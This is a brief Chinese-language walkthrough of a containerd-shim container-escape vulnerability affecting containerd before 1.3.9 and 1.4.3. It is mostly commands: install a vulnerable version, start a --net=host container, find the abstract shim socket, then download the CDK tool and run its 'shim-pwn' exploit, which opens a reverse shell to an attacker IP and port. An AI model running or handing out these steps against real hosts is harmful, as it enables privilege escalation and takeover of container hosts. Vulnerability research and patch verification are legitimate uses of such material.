漏洞簡述:
當在docker使用–net=host參數啟動,與宿主機共享net namespace時,容器中的攻擊者可以繞過訪問權限訪問 containerd 的控制API 進而導致權限提升。
漏洞利用:
(1)安裝有漏洞的containerd版本,影響版本containerd< 1.3.9&&containerd < 1.4.3
#列出倉庫中可用的版本,安裝特定版本的 Docker Engine-Community apt-cache madison docker-ce sudo apt-get install docker-ce=<VERSION_STRING> docker-ce-cli=<VERSION_STRING> containerd.io=<VERSION_STRING>

(2)通過--net=host 作為啟動參數來運行一個容器:
sudo docker run -it --net=host ubuntu:18.04 /bin/bash
在容器內執行 cat /proc/net/unix|grep -a "containerd-shim" 可看到抽象命名空間Unix域套接字.

(3)通過CDK執行exp,成功反彈shell,實現容器逃逸。
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz ./cdk_linux_amd64 run shim-pwn 10.1.1.209 12345

